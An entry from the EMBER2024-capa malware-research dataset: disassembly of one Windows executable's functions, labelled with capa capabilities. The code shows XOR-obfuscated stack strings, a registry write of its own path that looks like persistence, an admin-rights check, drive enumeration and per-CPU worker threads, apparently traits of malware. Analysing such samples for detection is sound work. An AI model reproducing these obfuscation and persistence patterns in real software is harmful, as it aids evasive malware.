joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40823a
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1394
call fcn.0040d7c0
push ebx
push esi
push edi
mov esi, ecx
push eax
push edx
xor eax, eax
xor edx, edx
rdtsc
mov dword [0x413554], eax
pop edx
pop eax
or dword [ebp - 0xc], 0xffffffff
xor edx, edx
mov ecx, dword [0x413554]
inc edx
mov dword [ebp - 0x138c], ecx
mov edi, 0x270
mov eax, ecx
shr eax, 0x1e
xor eax, ecx
imul ecx, eax, 0x6c078965
add ecx, edx
mov dword [ebp + edx*4 - 0x138c], ecx
inc edx
cmp edx, edi
jb 0x408273
mov dword [ebp - 0x1390], edi
cmp esi, 0xffffffff
jne 0x4082a8
lea ecx, [ebp - 0x1390]
call fcn.00408330
mov edx, eax
jmp 0x4082e1
lea ebx, [esi + 1]
xor edi, edi
xor eax, eax
test esi, esi
je 0x4082c3
lea ecx, [ebp - 0x1390]
call fcn.00408330
mov edi, eax
or eax, 0xffffffff
xor edx, edx
div ebx
mov ecx, eax
mov dword [ebp - 4], edx
xor edx, edx
mov eax, edi
div ebx
cmp eax, ecx
jb 0x4082db
cmp dword [ebp - 4], esi
jne 0x4082ab
mov eax, edi
xor edx, edx
div ebx
pop edi
pop esi
mov eax, edx
pop ebx
leave
ret

Function at 0x4082e8
Capabilities:
Generate random numbers via winapi

Disassembly:
push ecx
mov eax, dword [0x413558]
push esi
push edi
mov edi, edx
test eax, eax
je 0x408304
push edi
push 0x20
push eax
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
jne 0x408319
xor esi, esi
mov ecx, 0xff
call fcn.0040823a
mov byte [esi + edi], al
inc esi
cmp esi, 0x20
jl 0x408306
pop edi
pop esi
pop ecx
ret

Function at 0x408330
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push esi
mov esi, ecx
push edi
mov edi, 0x270
cmp dword [esi], edi
jne 0x408378
lea edx, [esi + 8]
mov ecx, dword [edx - 4]
xor ecx, dword [edx]
lea edx, [edx + 4]
and ecx, 0x7fffffff
xor ecx, dword [edx - 8]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx + 0x62c]
xor eax, ecx
mov dword [edx + 0x9b8], eax
sub edi, 1
jne 0x408340
jmp 0x408385
cmp dword [esi], 0x4e0
jb 0x408385
call fcn.004083bf
mov eax, dword [esi]
pop edi
mov edx, dword [esi + eax*4 + 4]
inc eax
mov dword [esi], eax
mov ecx, edx
mov eax, dword [esi + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
pop esi
ret
Function at 0x4083bf
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebx
push esi
mov esi, ecx
mov ebx, 0xe3
push edi
lea edi, [esi + 0x9c4]
mov eax, dword [edi]
lea edx, [edi + 4]
mov ecx, dword [edx]
xor ecx, eax
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edi + 0x634]
xor eax, ecx
mov dword [edi - 0x9c0], eax
lea edi, [edx]
mov eax, dword [edx]
sub ebx, 1
jne 0x4083d1
lea edi, [esi + 0xd50]
mov ebx, 0x18c
mov eax, dword [edi]
lea edx, [edi + 4]
mov ecx, dword [edx]
xor ecx, eax
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edi - 0xd4c]
xor eax, ecx
mov dword [edi - 0x9c0], eax
lea edi, [edx]
mov eax, dword [edx]
sub ebx, 1
jne 0x408416
mov ecx, dword [esi + 0x1380]
xor ecx, dword [esi + 4]
and ecx, 0x7fffffff
xor ecx, dword [esi + 0x1380]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
pop edi
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [esi + 0x634]
xor eax, ecx
mov dword [esi + 0x9c0], eax
and dword [esi], 0
pop esi
pop ebx
ret

Function at 0x408b24
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
xor edx, edx
push ebx
push esi
push edi
xor edi, edi
push 3
inc edi
pop ecx
mov dword [0x4136e8], edi
call fcn.0040d2da
push 6
xor edx, edx
pop ecx
call fcn.0040d2da
mov eax, dword [0x413730]
xor ebx, ebx
mov ecx, dword [0x4136a0]
mov esi, ebx
test eax, eax
je 0x408b8e
mov edx, dword [ecx + esi*4]
test edx, edx
je 0x408b89
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [0x4136a0]
push dword [eax + esi*4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x4136a0]
mov eax, dword [0x413730]
mov dword [ecx + esi*4], ebx
inc esi
cmp esi, eax
jb 0x408b5d
call fcn.00406bcd
push 3
mov edx, edi
mov dword [0x4136a0], ebx
pop ecx
call fcn.0040d2da
push 5
mov edx, edi
pop ecx
call fcn.0040d2da
push 6
mov edx, edi
pop ecx
call fcn.0040d2da
movaps xmm0, xmmword [0x401dc0]
mov eax, ebx
movups xmmword [ebp - 0x34], xmm0
mov word [ebp - 0x24], 0x55
xor byte [ebp + eax - 0x34], 0x55
inc eax
cmp eax, 0x11
jb 0x408bca
mov eax, ebx
mov byte [ebp - 0x23], bl
cmp dword [0x41355c], ebx
je 0x408c00
movaps xmm0, xmmword [0x4019c0]
movups xmmword [ebp - 0x10], xmm0
xor byte [ebp + eax - 0x10], 0x55
inc eax
cmp eax, 0xf
jb 0x408bed
mov byte [ebp - 1], bl
lea eax, [ebp - 0x10]
jmp 0x408c22
movaps xmm0, xmmword [0x401d80]
movups xmmword [ebp - 0x22], xmm0
mov word [ebp - 0x12], 0x55
xor byte [ebp + eax - 0x22], 0x55
inc eax
cmp eax, 0x11
jb 0x408c11
mov byte [ebp - 0x11], bl
lea eax, [ebp - 0x22]
lea ecx, [ebp - 0x34]
push ecx
push eax
call fcn.0040d449
pop ecx
pop ecx
pop edi
pop esi
mov dword [0x4136e8], ebx
xor eax, eax
pop ebx
leave
ret 4
Function at 0x408c3d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
mov dword [0x413778], ecx
mov ecx, 0x41370c
push esi
call fcn.00407d70
mov ecx, 0x413564
call fcn.00407d70
mov ecx, 0x4136ec
call fcn.00407d70
mov edx, 0x40e8b9
mov ecx, 0x413734
call fcn.00402190
mov edx, 0x40e0b1
mov ecx, 0x4136a4
call fcn.00402190
mov edx, 0x40e4b5
mov ecx, 0x413560
call fcn.00402190
push 0x413588
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
movaps xmm0, xmmword [0x401920]
xor eax, eax
push 0x55
movups xmmword [ebp - 0x10], xmm0
pop ebx
xor byte [ebp + eax - 0x10], bl
inc eax
cmp eax, 0xf
jb 0x408cb1
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x10]
push eax
push 0x4135a0
mov byte [ebp - 1], 0
call esi
movaps xmm0, xmmword [0x401e40]
xor eax, eax
movups xmmword [ebp - 0x1c], xmm0
mov byte [ebp - 0xc], 0x30
mov byte [ebp - 0xb], bl
mov byte [ebp - 0xa], 0x38
mov byte [ebp - 9], bl
mov byte [ebp - 8], 0x3a
mov byte [ebp - 7], bl
mov byte [ebp - 6], 0x27
mov byte [ebp - 5], bl
mov byte [ebp - 4], 0x2c
mov byte [ebp - 3], bl
mov byte [ebp - 2], bl
mov byte [ebp - 1], 0
xor byte [ebp + eax - 0x1c], bl
inc eax
cmp eax, 0x1b
jb 0x408d07
lea eax, [ebp - 0x1c]
mov byte [ebp - 1], 0
push eax
push 0x4135e0
call esi
movaps xmm0, xmmword [0x401c50]
xor eax, eax
movups xmmword [ebp - 0x14], xmm0
mov byte [ebp - 4], 0x26
mov byte [ebp - 3], bl
mov byte [ebp - 2], bl
mov byte [ebp - 1], 0
xor byte [ebp + eax - 0x14], bl
inc eax
cmp eax, 0x13
jb 0x408d3b
lea eax, [ebp - 0x14]
mov byte [ebp - 1], 0
push eax
push 0x413738
call esi
movaps xmm0, xmmword [0x401e50]
xor eax, eax
movups xmmword [ebp - 0x14], xmm0
mov byte [ebp - 4], 0x39
mov byte [ebp - 3], bl
mov byte [ebp - 2], bl
mov byte [ebp - 1], 0
xor byte [ebp + eax - 0x14], bl
inc eax
cmp eax, 0x13
jb 0x408d6f
lea eax, [ebp - 0x14]
mov byte [ebp - 1], 0
push eax
push 0x413660
call esi
movaps xmm0, xmmword [0x401970]
xor eax, eax
movups xmmword [ebp - 0x10], xmm0
xor byte [ebp + eax - 0x10], bl
inc eax
cmp eax, 0xf
jb 0x408d95
lea eax, [ebp - 0x10]
mov byte [ebp - 1], 0
push eax
push 0x413620
call esi
movaps xmm0, xmmword [0x401900]
xor eax, eax
movups xmmword [ebp - 0x10], xmm0
xor byte [ebp + eax - 0x10], bl
inc eax
cmp eax, 0xf
jb 0x408dbb
lea eax, [ebp - 0x10]
mov byte [ebp - 1], 0
push eax
push 0x4136a8
call esi
pop esi
pop ebx
leave
ret
Function at 0x408e35
Capabilities:
Create thread
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
cmp dword [0x4136a0], 0
jne 0x408efb
push esi
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
imul ecx, dword [ebp - 0x10], 6
xor esi, esi
mov dword [0x41355c], esi
mov dword [0x413584], esi
mov dword [0x413730], ecx
shl ecx, 2
mov dword [0x41372c], esi
call fcn.00406b28
mov dword [0x4136a0], eax
test eax, eax
je 0x408efa
push edi
mov ecx, 0x41370c
call fcn.00407d93
mov ecx, 0x413564
call fcn.00407d93
mov ecx, 0x4136ec
call fcn.00407d93
mov eax, dword [ebp - 0x10]
mov edi, esi
add eax, eax
je 0x408ef1
push esi
push esi
push esi
push 0x40848a
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [0x4136a0]
mov dword [ecx + edi*4], eax
inc edi
mov eax, dword [ebp - 0x10]
add eax, eax
cmp edi, eax
jb 0x408eaa
jmp 0x408ef1
xor ecx, ecx
lea eax, [edi + 1]
push ecx
push ecx
and eax, 1
push eax
push 0x40877f
push ecx
push ecx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [0x4136a0]
mov dword [ecx + edi*4], eax
inc edi
cmp edi, dword [0x413730]
jb 0x408ecf
pop edi
pop esi
leave
ret

Function at 0x408f2e
Capabilities:
Create thread

Disassembly:
cmp dword [0x41355c], 0
jne 0x408f52
push 5
xor edx, edx
pop ecx
call fcn.0040d2da
and dword [0x413584], 0
mov dword [0x41355c], 1
xor ecx, ecx
jmp fcn.00408efd

Function at 0x408f65
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x1b
jb 0x408f67
mov byte [ecx + 0x1b], 0
mov eax, ecx
ret

Function at 0x408f78
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x11
jb 0x408f7a
mov byte [ecx + 0x11], 0
mov eax, ecx
ret

Function at 0x408f8b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
call fcn.00409cc1
cmp eax, 3
jne 0x408fcb
mov dword [ebp - 6], 0x5578557e
xor eax, eax
mov word [ebp - 2], 0x55
xor byte [ebp + eax - 6], 0x55
inc eax
cmp eax, 5
jb 0x408fac
movzx eax, word [esi + 4]
cmp ax, word [ebp - 6]
je 0x408fcb
cmp ax, word [ebp - 4]
jne 0x408fcb
xor al, al
jmp 0x408fcd
mov al, 1
pop esi
leave
ret
Function at 0x4094a6
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x1d
jb 0x4094a8
mov byte [ecx + 0x1d], 0
mov eax, ecx
ret

Function at 0x4094b9
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x14
jb 0x4094bb
mov byte [ecx + 0x14], 0
mov eax, ecx
ret
Function at 0x409808
Capabilities:
Encode data using xor
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
push ebx
mov dword [ebp - 0xc], ecx
xor ebx, ebx
push esi
mov ecx, 0x10000
call fcn.00406b28
mov esi, eax
test esi, esi
je 0x40996e
mov dword [ebp - 4], 0x555577
mov eax, ebx
xor byte [ebp + eax - 4], 0x55
inc eax
cmp eax, 3
jb 0x409832
lea eax, [ebp - 4]
mov byte [ebp - 1], bl
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x7fff
lea eax, [esi + 2]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x409967
mov dword [ebp - 0x18], 0x55755577
mov eax, ebx
mov dword [ebp - 0x14], 0x5503557a
mov dword [ebp - 0x10], 0x555578
xor byte [ebp + eax - 0x18], 0x55
inc eax
cmp eax, 0xb
jb 0x40987a
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x18]
push eax
push esi
mov byte [ebp - 0xd], bl
call edi
movaps xmm0, xmmword [0x401a40]
mov eax, ebx
movups xmmword [ebp - 0x48], xmm0
mov dword [ebp - 0x28], 0x3003213b
movaps xmm0, xmmword [0x401a20]
movups xmmword [ebp - 0x38], xmm0
mov dword [ebp - 0x24], 0x3a3c2627
mov dword [ebp - 0x20], 0x2007093b
mov word [ebp - 0x1c], 0x3b
xor byte [ebp + eax - 0x48], 0x55
inc eax
cmp eax, 0x2d
jb 0x4098c9
lea eax, [ebp - 8]
mov byte [ebp - 0x1b], bl
push eax
lea eax, [ebp - 0x48]
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x409966
mov dword [ebp - 4], 0x55552e
mov eax, ebx
xor byte [ebp + eax - 4], 0x55
inc eax
cmp eax, 3
jb 0x4098f7
lea eax, [ebp - 4]
mov byte [ebp - 1], bl
push eax
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push dword [ebp - 0xc]
lea eax, [ebp - 0x68]
push eax
call edi
mov dword [ebp - 4], 0x555528
mov eax, ebx
xor byte [ebp + eax - 4], 0x55
inc eax
cmp eax, 3
jb 0x409925
lea eax, [ebp - 4]
mov byte [ebp - 1], bl
push eax
lea eax, [ebp - 0x68]
push eax
call edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
push esi
push 1
push ebx
lea eax, [ebp - 0x68]
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 8]
neg eax
sbb ebx, ebx
inc ebx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov ecx, esi
call fcn.00406bcd
pop esi
mov eax, ebx
pop ebx
leave
ret

Function at 0x409974
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x2d
jb 0x409976
mov byte [ecx + 0x2d], 0
mov eax, ecx
ret

Function at 0x409987
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x19
jb 0x409989
mov byte [ecx + 0x19], 0
mov eax, ecx
ret
Function at 0x40999a
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
xor eax, eax
mov edi, ecx
push eax
push 0x8000000
push 3
push eax
push eax
push closesocket
or esi, 0xffffffff
mov dword [ebp - 0x10], eax
push edi
mov dword [ebp - 0xc], eax
mov ebx, esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 4], eax
cmp eax, esi
je 0x409ab2
lea ecx, [ebp - 0x10]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
push dword [ebp - 4]
test eax, eax
cmovne esi, dword [ebp - 0x10]
cmovne ebx, dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
jl 0x409ab2
jg 0x409ab2
test esi, esi
je 0x409ab2
test ebx, ebx
jg 0x409ab2
jl 0x409a1d
cmp esi, 0x2000
ja 0x409ab2
mov ecx, edi
call fcn.00409cc1
jmp 0x409a2e
cmp word [edi + eax*2], 0x5c
je 0x409a34
dec eax
test eax, eax
jg 0x409a26
jmp 0x409a35
inc eax
lea eax, [edi + eax*2]
mov ebx, 0x413780
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
xor edx, edx
mov dword [0x40fcc1], eax
push edx
push edx
lea ecx, [eax + 1]
push ecx
push 0x40fcc5
push eax
push ebx
push edx
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [0x40fd45], esi
mov ecx, edi
push esi
mov esi, 0x40fd49
mov edx, esi
call fcn.00409c64
mov edx, dword [0x40fd45]
pop ecx
mov ecx, esi
call fcn.00405478
push 0x1000
mov ecx, 0x411d4d
mov dword [0x41377c], eax
call fcn.00406b80
and dword [0x411d49], 0
xor eax, eax
add esp, 4
inc eax
jmp 0x409ab4
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x409ab9
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
mov word [ebp - 0xc], 0x500
lea eax, [ebp - 8]
mov dword [ebp - 4], ebx
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], ebx
push eax
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x409b0d
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
push ebx
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
push dword [ebp - 8]
neg eax
sbb eax, eax
and dword [ebp - 4], eax
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [ebp - 4]
pop ebx
leave
ret

Function at 0x409b13
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push esi
mov esi, 0x114
lea ecx, [ebp - 0x114]
push esi
call fcn.00406b80
add esp, 4
mov dword [ebp - 0x114], esi
mov eax, ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [ebp - 0x104], 2
pop esi
jne 0x409b61
cmp dword [ebp - 0x110], 5
jne 0x409b61
cmp dword [ebp - 0x10c], 2
ja 0x409b61
xor eax, eax
inc eax
leave
ret
xor eax, eax
leave
ret
Function at 0x409c13
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor eax, eax
mov ebx, edx
push eax
push 0x8000000
push 2
push eax
push eax
push 0x40000000
push ecx
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, dword [ebp + 8]
mov esi, eax
cmp esi, 0xffffffff
je 0x409c57
push 0
lea eax, [ebp - 4]
push eax
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
cmp dword [ebp - 4], edi
pop edi
pop esi
sete al
pop ebx
leave
ret

Function at 0x409c64
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov ebx, edx
mov esi, ecx
call fcn.00409baa
test eax, eax
je 0x409cbc
xor eax, eax
push eax
push 0x8000000
push 3
push eax
push eax
push closesocket
push esi
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, dword [ebp + 8]
mov esi, eax
cmp esi, 0xffffffff
je 0x409cb4
push 0
lea eax, [ebp - 4]
push eax
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
cmp dword [ebp - 4], edi
sete al
pop edi
pop esi
pop ebx
leave
ret
Function at 0x409d9e
Capabilities:
Encode data using xor
Link many functions at runtime
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
xor ebx, ebx
mov dword [ebp - 0xd], 0x27212607
mov dword [ebp - 9], 0x27321821
mov eax, ebx
mov dword [ebp - 5], 0x3939317b
mov byte [ebp - 1], bl
xor byte [ebp + eax - 0xd], 0x55
inc eax
cmp eax, 0xc
jb 0x409dc1
lea eax, [ebp - 0xd]
mov byte [ebp - 1], bl
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, eax
mov dword [0x414090], ecx
test ecx, ecx
je 0x409f8a
mov dword [ebp - 0x1c], 0x21063807
mov eax, ebx
mov dword [ebp - 0x18], 0x6212734
mov dword [ebp - 0x14], 0x3c262630
mov word [ebp - 0x10], 0x3b3a
mov byte [ebp - 0xe], bl
xor byte [ebp + eax - 0x1c], 0x55
inc eax
cmp eax, 0xe
jb 0x409e09
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea eax, [ebp - 0x1c]
push eax
push ecx
mov byte [ebp - 0xe], bl
call esi
movaps xmm0, xmmword [0x401a00]
mov dword [0x41388c], eax
mov eax, ebx
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0x20], 0x263036
xor byte [ebp + eax - 0x30], 0x55
inc eax
cmp eax, 0x13
jb 0x409e3e
lea eax, [ebp - 0x30]
mov byte [ebp - 0x1d], bl
push eax
push dword [0x414090]
call esi
mov dword [0x414094], eax
mov eax, ebx
mov dword [ebp - 0xa], 0x30123807
mov dword [ebp - 6], 0x263c1921
mov word [ebp - 2], 0x21
xor byte [ebp + eax - 0xa], 0x55
inc eax
cmp eax, 9
jb 0x409e73
lea eax, [ebp - 0xa]
mov byte [ebp - 1], bl
push eax
push dword [0x414090]
call esi
mov dword [0x414098], eax
mov eax, ebx
mov dword [ebp - 0x1a], 0x3b103807
mov dword [ebp - 0x16], 0x26300631
mov dword [ebp - 0x12], 0x3b3a3c26
mov byte [ebp - 0xe], bl
xor byte [ebp + eax - 0x1a], 0x55
inc eax
cmp eax, 0xc
jb 0x409eac
lea eax, [ebp - 0x1a]
mov byte [ebp - 0xe], bl
push eax
push dword [0x414090]
call esi
mov dword [0x413888], eax
mov eax, ebx
mov dword [ebp - 0xb], 0x3d063807
mov dword [ebp - 7], 0x3a312120
mov word [ebp - 3], 0x3b22
mov byte [ebp - 1], bl
xor byte [ebp + eax - 0xb], 0x55
inc eax
cmp eax, 0xa
jb 0x409ee4
lea eax, [ebp - 0xb]
mov byte [ebp - 1], bl
push eax
push dword [0x414090]
call esi
mov dword [0x413880], eax
pop esi
cmp dword [0x41388c], ebx
je 0x409f78
cmp dword [0x414094], ebx
je 0x409f78
cmp dword [0x414098], ebx
je 0x409f78
cmp dword [0x413888], ebx
je 0x409f78
test eax, eax
je 0x409f78
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessId]
movaps xmm0, xmmword [0x401b40]
mov dword [0x413884], eax
mov eax, ebx
movups xmmword [ebp - 0x32], xmm0
mov dword [ebp - 0x22], 0x5501551a
mov word [ebp - 0x1e], 0x55
xor byte [ebp + eax - 0x32], 0x55
inc eax
cmp eax, 0x15
jb 0x409f54
push 0x400
push 0x413890
lea eax, [ebp - 0x32]
mov byte [ebp - 0x1d], bl
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
jmp 0x409f8a
push dword [0x414090]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [0x414090], ebx
pop ebx
leave
ret

Function at 0x40a13d
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x15
jb 0x40a13f
mov byte [ecx + 0x15], 0
mov eax, ecx
ret
Function at 0x40a150
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Encode data using xor
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90c
cmp dword [0x40fcc1], 0
je 0x40a214
push esi
mov esi, 0x40fcc5
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x40a213
push ebx
xor ebx, ebx
lea eax, [ebp - 0x90c]
push ebx
push 0x10
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov eax, dword [0x40fcc1]
inc eax
push eax
lea eax, [ebp - 0x10c]
push eax
push 0xffffffffffffffff
push esi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [ebp - 0x10c]
lea edx, [ebp - 0x90c]
push eax
mov ecx, edx
call fcn.00409cd1
push dword [0x40fd45]
mov edx, 0x40fd49
lea ecx, [ebp - 0x90c]
call fcn.00409c13
pop ecx
pop ecx
test eax, eax
je 0x40a212
mov dword [ebp - 0xa], 0x5525553a
mov eax, ebx
mov dword [ebp - 6], 0x553b5530
mov word [ebp - 2], 0x55
xor byte [ebp + eax - 0xa], 0x55
inc eax
cmp eax, 9
jb 0x40a1ee
push 5
push ebx
push ebx
lea eax, [ebp - 0x90c]
mov byte [ebp - 1], bl
push eax
lea eax, [ebp - 0xa]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
pop ebx
pop esi
leave
ret

Function at 0x40a216
Capabilities:
Encode data using xor
Get disk information

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
push edi
push 0
push 0
mov dword [ebp - 4], ecx
call ebx
mov edi, eax
test edi, edi
je 0x40a2b8
push esi
lea ecx, [edi*2 + 2]
call fcn.00406b28
mov esi, eax
mov dword [ebp - 8], esi
test esi, esi
je 0x40a2b7
push esi
push edi
call ebx
push esi
mov edi, esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebx, eax
test ebx, ebx
je 0x40a2b0
mov esi, dword [ebp - 4]
push 1
push 0
push 8
mov edx, edi
mov ecx, esi
call fcn.00407dea
add esp, 0xc
test eax, eax
je 0x40a29a
mov dword [ebp - 4], 0x555565
xor eax, eax
xor byte [ebp + eax - 4], 0x55
inc eax
cmp eax, 3
jb 0x40a281
mov edx, edi
mov byte [ebp - 1], 0
lea ecx, [ebp - 4]
call fcn.0040d3a2
lea edi, [edi + ebx*2]
add edi, 2
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebx, eax
test ebx, ebx
jne 0x40a262
mov esi, dword [ebp - 8]
mov ecx, esi
call fcn.00406bcd
pop esi
pop edi
pop ebx
leave
ret